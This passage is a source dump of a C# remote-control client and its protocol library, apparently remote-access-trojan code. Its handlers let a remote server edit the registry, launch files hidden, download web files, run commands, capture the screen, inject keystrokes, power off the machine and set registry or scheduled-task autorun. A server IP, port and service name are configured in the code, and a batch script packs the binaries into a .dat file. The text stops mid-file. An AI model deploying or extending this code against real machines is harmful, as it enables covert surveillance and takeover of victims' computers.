/RemoteControl.Client/Handlers/RequestOpeRegistryValueNameHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | 11 | namespace RemoteControl.Client.Handlers 12 | { 13 | class RequestOpeRegistryValueNameHandler : IRequestHandler 14 | { 15 | public void Handle(SocketSession session, ePacketType reqType, object reqObj) 16 | { 17 | RequestOpeRegistryValueName req = reqObj as RequestOpeRegistryValueName; 18 | 19 | ResponseOpeRegistryValueName resp = new ResponseOpeRegistryValueName(); 20 | try 21 | { 22 | OpeRegistry(req); 23 | } 24 | catch (Exception ex) 25 | { 26 | resp.Result = false; 27 | resp.Message = ex.ToString(); 28 | resp.Detail = ex.StackTrace.ToString(); 29 | } 30 | 31 | session.Send(ePacketType.PACKET_OPE_REGISTRY_VALUE_NAME_RESPONSE, resp); 32 | } 33 | 34 | public static void OpeRegistry(RequestOpeRegistryValueName req) 35 | { 36 | RegistryKey rootKey = RegistryKey.OpenBaseKey( 37 | (RegistryHive)req.KeyRoot, 38 | Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32); 39 | 40 | RegistryKey subKey = rootKey.OpenSubKey(req.KeyPath, true); 41 | bool valueNameExists = subKey.GetValueNames().ToList().Contains(req.ValueName); 42 | if (req.Operation == OpeType.Delete) 43 | { 44 | if (valueNameExists) 45 | { 46 | subKey.DeleteValue(req.ValueName); 47 | } 48 | } 49 | else if (req.Operation == OpeType.New || req.Operation == OpeType.Edit) 50 | { 51 | subKey.SetValue(req.ValueName, req.Value, (RegistryValueKind)req.ValueKind); 52 | } 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestOpenFileHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestOpenFileHandler : AbstractRequestHandler 15 | { 16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | var req = reqObj as RequestOpenFile; 19 | 20 | ProcessUtil.Run(req.FilePath, "", req.IsHide, true); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestOpenUrlHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestOpenUrlHandler : IRequestHandler 15 | { 16 | public void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | var req = reqObj as RequestOpenUrl; 19 | try 20 | { 21 | ProcessUtil.Run(req.Url, "", false, true); 22 | } 23 | catch (Exception ex) 24 | { 25 | } 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestPlayMusicHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestPlayMusicHandler : AbstractRequestHandler 15 | { 16 | private static string lastPlayMusicExeFile = null; 17 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 18 | { 19 | if (reqType == ePacketType.PACKET_PLAY_MUSIC_REQUEST) 20 | { 21 | var req = reqObj as RequestPlayMusic; 22 | StopMusic(); 23 | StartPlayMusic(session, req.MusicFilePath); 24 | } 25 | else if (reqType == ePacketType.PACKET_STOP_PLAY_MUSIC_REQUEST) 26 | { 27 | StopMusic(); 28 | } 29 | } 30 | 31 | private void StartPlayMusic(SocketSession session, string musicFilePath) 32 | { 33 | try 34 | { 35 | // 释放音乐播放程序 36 | byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); 37 | string musicPlayerFileName = ResUtil.WriteToRandomFile(data,"mscp.exe"); 38 | lastPlayMusicExeFile = System.IO.Path.GetFileNameWithoutExtension(musicPlayerFileName); 39 | // 启动音乐播放程序 40 | ProcessUtil.RunByCmdStart(musicPlayerFileName + " player " + musicFilePath, true); 41 | } 42 | catch (Exception ex) 43 | { 44 | Console.WriteLine(ex.Message); 45 | } 46 | } 47 | 48 | private void StopMusic() 49 | { 50 | if (lastPlayMusicExeFile != null) 51 | { 52 | ProcessUtil.KillProcess(lastPlayMusicExeFile); 53 | } 54 | //Win32API.mciSendString("close mymusic", null, 0, IntPtr.Zero);//关闭 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestPowerHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestPowerHandler : AbstractRequestHandler 15 | { 16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | if (reqType == ePacketType.PACKET_SHUTDOWN_REQUEST) 19 | { 20 | ProcessUtil.Run("shutdown.exe", "-s -t 0", true); 21 | } 22 | else if (reqType == ePacketType.PACKET_REBOOT_REQUEST) 23 | { 24 | ProcessUtil.Run("shutdown.exe", "-r -t 0", true); 25 | } 26 | else if (reqType == ePacketType.PACKET_SLEEP_REQUEST) 27 | { 28 | ProcessUtil.Run("rundll32.exe", "powrprof.dll,SetSuspendState 0,1,0", true); 29 | } 30 | else if (reqType == ePacketType.PACKET_HIBERNATE_REQUEST) 31 | { 32 | ProcessUtil.Run("rundll32.exe", "powrProf.dll,SetSuspendState", true); 33 | } 34 | else if (reqType == ePacketType.PACKET_LOCK_REQUEST) 35 | { 36 | ProcessUtil.Run("rundll32.exe", "user32.dll,LockWorkStation", true); 37 | } 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestQuitAppHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestQuitAppHandler : AbstractRequestHandler 15 | { 16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | if (OnFireQuit != null) 19 | { 20 | OnFireQuit(null, null); 21 | } 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestRestartAppHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Protocals.Response; 8 | using RemoteControl.Protocals.Request; 9 | using System.Windows.Forms; 10 | using RemoteControl.Protocals.Utilities; 11 | 12 | namespace RemoteControl.Client.Handlers 13 | { 14 | class RequestRestartAppHandler : AbstractRequestHandler 15 | { 16 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 17 | { 18 | string path = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; 19 | var thread = ProcessUtil.Run(path, "/r", true); 20 | thread.Join(); 21 | if (OnFireQuit != null) 22 | { 23 | OnFireQuit(null, null); 24 | } 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestUploadHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | using RemoteControl.Audio; 8 | using RemoteControl.Audio.Codecs; 9 | using System.Threading; 10 | using System.IO; 11 | using RemoteControl.Protocals.Response; 12 | 13 | namespace RemoteControl.Client.Handlers 14 | { 15 | class RequestUploadHandler : AbstractRequestHandler 16 | { 17 | private RequestStartDownload _request = null; 18 | private Dictionary _fileUploadDic = new Dictionary(); 19 | 20 | public override void Handle(SocketSession session, ePacketType reqType, object reqObj) 21 | { 22 | if (reqType == ePacketType.PACKET_START_UPLOAD_HEADER_REQUEST) 23 | { 24 | var req = reqObj as RequestStartUploadHeader; 25 | if (_fileUploadDic.ContainsKey(req.Id)) 26 | return; 27 | FileStream fs = new FileStream(req.To, FileMode.Create, FileAccess.Write); 28 | _fileUploadDic.Add(req.Id, fs); 29 | } 30 | else if (reqType == ePacketType.PACKET_START_UPLOAD_RESPONSE) 31 | { 32 | var resp = reqObj as ResponseStartUpload; 33 | if (_fileUploadDic.ContainsKey(resp.Id)) 34 | { 35 | FileStream fs = _fileUploadDic[resp.Id]; 36 | fs.Write(resp.Data, 0, resp.Data.Length); 37 | } 38 | } 39 | else if (reqType == ePacketType.PACKET_STOP_UPLOAD_REQUEST) 40 | { 41 | var req = reqObj as RequestStopUpload; 42 | if (_fileUploadDic.ContainsKey(req.Id)) 43 | { 44 | _fileUploadDic[req.Id].Close(); 45 | _fileUploadDic[req.Id].Dispose(); 46 | _fileUploadDic.Remove(req.Id); 47 | } 48 | } 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /RemoteControl.Client/Handlers/RequestViewRegistryKeyHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | using Microsoft.Win32; 7 | 8 | namespace RemoteControl.Client.Handlers 9 | { 10 | class RequestViewRegistryKeyHandler:IRequestHandler 11 | { 12 | public void Handle(SocketSession session, ePacketType reqType, object reqObj) 13 | { 14 | RequestViewRegistryKey req = reqObj as RequestViewRegistryKey; 15 | 16 | ResponseViewRegistryKey resp = new ResponseViewRegistryKey(); 17 | resp.KeyRoot = req.KeyRoot; 18 | resp.KeyPath = req.KeyPath; 19 | 20 | try 21 | { 22 | RegistryKey rootKey = RegistryKey.OpenBaseKey( 23 | (RegistryHive)req.KeyRoot, 24 | Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32); 25 | RegistryKey subKey = rootKey; 26 | if (!string.IsNullOrWhiteSpace(req.KeyPath)) 27 | { 28 | subKey = rootKey.OpenSubKey(req.KeyPath); 29 | } 30 | resp.KeyNames = subKey.GetSubKeyNames(); 31 | resp.ValueNames = subKey.GetValueNames(); 32 | int valueNamesLength = resp.ValueNames.Length; 33 | resp.ValueKinds = new eRegistryValueKind[valueNamesLength]; 34 | resp.Values = new object[valueNamesLength]; 35 | for (int i = 0; i < valueNamesLength; i++) 36 | { 37 | string valueName = resp.ValueNames[i]; 38 | resp.ValueKinds[i] = (eRegistryValueKind)subKey.GetValueKind(valueName); 39 | resp.Values[i] = subKey.GetValue(valueName); 40 | } 41 | } 42 | catch (Exception ex) 43 | { 44 | resp.Result = false; 45 | resp.Message = ex.ToString(); 46 | resp.Detail = ex.StackTrace.ToString(); 47 | } 48 | 49 | session.Send(ePacketType.PACKET_VIEW_REGISTRY_KEY_RESPONSE, resp); 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /RemoteControl.Client/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的常规信息通过下列属性集 6 | // 控制。更改这些属性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("")] 13 | [assembly: AssemblyCopyright("")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 使此程序集中的类型 18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, 19 | // 则将该类型上的 ComVisible 属性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("4b9d0048-02b3-4266-a06f-57f052612c76")] 24 | 25 | // 程序集的版本信息由下面四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 内部版本号 30 | // 修订号 31 | // 32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, 33 | // 方法是按如下所示使用“*”: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /RemoteControl.Client/RemoteControl.Client.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | /r 5 | 6 | -------------------------------------------------------------------------------- /RemoteControl.Client/Res/Client.Excutor.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/Res/Client.Excutor.dat -------------------------------------------------------------------------------- /RemoteControl.Client/Utils/KeyboardOpeUtil.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | 7 | namespace RemoteControl.Client 8 | { 9 | class KeyboardOpeUtil 10 | { 11 | public static void KeyOpe(eKeyboardKeys key, eKeyboardOpe ope) 12 | { 13 | Win32API.keybd_event((byte)key, 0, ope == eKeyboardOpe.KeyDown ? 0 : 2, 0); 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /RemoteControl.Client/Utils/ScreenUtil.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Runtime.InteropServices; 6 | using System.Drawing; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteControl.Client 10 | { 11 | class ScreenUtil 12 | { 13 | /// 14 | /// 捕获屏幕 15 | /// 不支持未登陆时截图 16 | /// 17 | /// 18 | public static Image CaptureScreen1() 19 | { 20 | Image myImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); 21 | Graphics g = Graphics.FromImage(myImage); 22 | g.CopyFromScreen(new Point(0, 0), new Point(0, 0), new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)); 23 | IntPtr pDC = g.GetHdc(); 24 | g.ReleaseHdc(pDC); 25 | 26 | return myImage; 27 | } 28 | 29 | [DllImport("Gdi32.dll")] 30 | public extern static int BitBlt(IntPtr hDC, int x, int y, int nWidth, int nHeight, IntPtr hSrcDC, int xSrc, int ySrc, int dwRop); 31 | 32 | /// 33 | /// 捕获屏幕 34 | /// 支持未登陆时截图 35 | /// 36 | /// 37 | public static Image CaptureScreen2() 38 | { 39 | int width = Screen.PrimaryScreen.Bounds.Width; 40 | int height = Screen.PrimaryScreen.Bounds.Height; 41 | Bitmap screenCopy = new Bitmap(width, height); 42 | using (Graphics gDest = Graphics.FromImage(screenCopy)) 43 | { 44 | Graphics gSrc = Graphics.FromHwnd(IntPtr.Zero); 45 | IntPtr hSrcDC = gSrc.GetHdc(); 46 | IntPtr hDC = gDest.GetHdc(); 47 | int retval = BitBlt(hDC, 0, 0, width, height, hSrcDC, 0, 0, (int)(CopyPixelOperation.SourceCopy | CopyPixelOperation.CaptureBlt)); 48 | gDest.ReleaseHdc(); 49 | gSrc.ReleaseHdc(); 50 | } 51 | 52 | return screenCopy; 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /RemoteControl.Client/app.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /RemoteControl.Client/bin/Debug/Newtonsoft.Json.Lite.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/Newtonsoft.Json.Lite.dll -------------------------------------------------------------------------------- /RemoteControl.Client/bin/Debug/RemoteControl.Audio.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/RemoteControl.Audio.dll -------------------------------------------------------------------------------- /RemoteControl.Client/bin/Debug/RemoteControl.Client.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/RemoteControl.Client.exe -------------------------------------------------------------------------------- /RemoteControl.Client/bin/Debug/RemoteControl.Protocals.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/RemoteControl.Protocals.dll -------------------------------------------------------------------------------- /RemoteControl.Client/bin/Debug/audio/futurama.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/audio/futurama.raw -------------------------------------------------------------------------------- /RemoteControl.Client/bin/Debug/audio/test.raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Client/bin/Debug/audio/test.raw -------------------------------------------------------------------------------- /RemoteControl.Client/bin/Debug/combineDlls.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | PUSHD %~dp0 3 | ilmerge.exe /ndebug /targetplatform:v4 /target:exe /out:RemoteControl.Client_c.exe /log RemoteControl.Client.exe RemoteControl.Audio.dll RemoteControl.Protocals.dll Newtonsoft.Json.Lite.dll 4 | copy /y RemoteControl.Client_c.exe RemoteControl.Client.dat 5 | del RemoteControl.Client_c.exe -------------------------------------------------------------------------------- /RemoteControl.Protocals/Extension/MyExtensions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public static class MyExtensions 9 | { 10 | public static byte[] SplitBytes(this List data, int start, int length) 11 | { 12 | byte[] result = new byte[length]; 13 | for (int i = 0; i < length; i++) 14 | { 15 | result[i] = data[i + start]; 16 | } 17 | 18 | return result; 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Generate/ClientParameters.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Net; 6 | using System.Runtime.InteropServices; 7 | 8 | namespace RemoteControl.Protocals 9 | { 10 | [StructLayout(LayoutKind.Sequential)] 11 | public struct ClientParameters 12 | { 13 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] 14 | public byte[] Header; // 头部标示字节 15 | public long ServerIP; // 服务器ip地址 16 | public int ServerPort; // 服务器端口 17 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst=24)] 18 | public string OnlineAvatar; // 客户端上线图标名 19 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 24)] 20 | public string ServiceName; // 客户端启动时的服务名 21 | 22 | public void SetServerIP(string ip) 23 | { 24 | this.ServerIP = IPAddress.Parse(ip).Address; 25 | } 26 | 27 | public string GetServerIP() 28 | { 29 | return new IPAddress(this.ServerIP).ToString(); 30 | } 31 | 32 | public IPEndPoint GetIPEndPoint() 33 | { 34 | return new IPEndPoint(new IPAddress(this.ServerIP), this.ServerPort); 35 | } 36 | 37 | public void InitHeader() 38 | { 39 | this.Header = new byte[] { 0xff, 0xff, 0xff, 0xff }; 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/OpeType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | /// 9 | /// 操作类型 10 | /// 11 | public enum OpeType 12 | { 13 | New, 14 | Delete, 15 | Edit 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Plugin/AbstractPlugin.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals.Plugin 7 | { 8 | /// 9 | /// 插件抽象类 10 | /// 11 | public class AbstractPlugin : IPlugin 12 | { 13 | /// 14 | /// 退出程序事件 15 | /// 16 | public event EventHandler FireQuitEvent; 17 | 18 | /// 19 | /// 执行代码 20 | /// 21 | public virtual void Exec() 22 | { 23 | } 24 | 25 | /// 26 | /// 执行代码 27 | /// 28 | /// 29 | public virtual void Exec(byte[] assemblyBytes) 30 | { 31 | } 32 | 33 | /// 34 | /// 退出程序 35 | /// 36 | public void FireQuit() 37 | { 38 | if (FireQuitEvent != null) 39 | { 40 | FireQuitEvent(this, EventArgs.Empty); 41 | } 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Plugin/IPlugin.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals.Plugin 7 | { 8 | /// 9 | /// 插件接口 10 | /// 11 | public interface IPlugin 12 | { 13 | void Exec(); 14 | void Exec(byte[] assemblyBytes); 15 | event EventHandler FireQuitEvent; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的常规信息通过下列属性集 6 | // 控制。更改这些属性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("RemoteControl.Protocals")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("RemoteControl.Protocals")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 使此程序集中的类型 18 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, 19 | // 则将该类型上的 ComVisible 属性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("e249af13-1475-45e3-aa6a-e0e564f74a4e")] 24 | 25 | // 程序集的版本信息由下面四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 内部版本号 30 | // 修订号 31 | // 32 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, 33 | // 方法是按如下所示使用“*”: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/RegistryTool/eRegistryHive.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | /// 9 | /// 表示外部计算机上的顶级节点的可能值。 10 | /// 11 | public enum eRegistryHive 12 | { 13 | ClassesRoot = -2147483648, 14 | CurrentUser = -2147483647, 15 | LocalMachine = -2147483646, 16 | Users = -2147483645, 17 | PerformanceData = -2147483644, 18 | CurrentConfig = -2147483643, 19 | DynData = -2147483642, 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/RegistryTool/eRegistryValueKind.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public enum eRegistryValueKind 9 | { 10 | REG_NONE = -1, 11 | Unknown = 0, 12 | REG_SZ = 1, 13 | REG_EXPAND_SZ = 2, 14 | REG_BINARY = 3, 15 | REG_DWORD = 4, 16 | RED_MULTI_SZ = 7, 17 | RED_QWORD = 11, 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/ProcessProperty.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ProcessProperty 9 | { 10 | public string ProcessName; 11 | public int PID; 12 | public string User; 13 | public int CPURate; 14 | public float PrivateMemory; 15 | public int ThreadCount; 16 | public string ExecutablePath; 17 | public string CommandLine; 18 | public string FileDescription; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestAutoRun.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals.Request 7 | { 8 | public class RequestAutoRun 9 | { 10 | public eAutoRunMode AutoRunMode = eAutoRunMode.ByRegistry; 11 | public OpeType OperationMode = OpeType.New; 12 | } 13 | 14 | public enum eAutoRunMode 15 | { 16 | ByRegistry, 17 | BySchedualTask 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestCommand.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestCommand 9 | { 10 | public string Command; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestCopyFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestCopyFile 9 | { 10 | public string SourceFile; 11 | public string DestinationFile; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestCreateFileOrDir.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestCreateFileOrDir 9 | { 10 | public ePathType PathType; 11 | public string Path; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestDeleteFileOrDir.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestDeleteFileOrDir 9 | { 10 | public ePathType PathType; 11 | public string Path; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestDownloadWebFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestDownloadWebFile 9 | { 10 | public string WebFileUrl; 11 | public string DestinationPath; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestGetProcesses.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestGetProcesses 9 | { 10 | public bool IsSimpleMode = false; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestGetSubFilesOrDirs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestGetSubFilesOrDirs 9 | { 10 | public string parentDir; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestKillProcesses.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestKillProcesses 9 | { 10 | public List ProcessIds = new List(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestLockMouse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using 